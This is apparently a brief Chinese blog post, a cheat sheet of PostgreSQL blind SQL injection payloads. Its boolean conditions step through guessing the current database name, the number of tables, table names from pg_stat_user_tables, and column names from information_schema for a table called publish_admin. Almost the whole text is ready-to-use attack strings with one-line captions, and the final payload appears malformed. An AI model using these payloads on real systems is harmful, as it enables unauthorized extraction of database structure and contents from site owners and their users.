postgresql盲注

參考:
https://blog.csdn.net/p656456564545/article/details/42466633

先猜當前數據庫的長度

and (select length(current_database())) between 0 and 30

ascii猜解庫名的每個字符

and (select ascii(substr(current_database(),1,1))) between 0 and 32768

猜解數據庫的表的個數

and (select count(*) from pg_stat_user_tables) between 20 and 20 

猜解庫裏的表名的長度

and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 19 and 19

猜解表名裏面的每個字符

(select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 32768 

接下來猜解字段名即可,爲:

and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+table_name= publish_admin +between+0+and+256
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章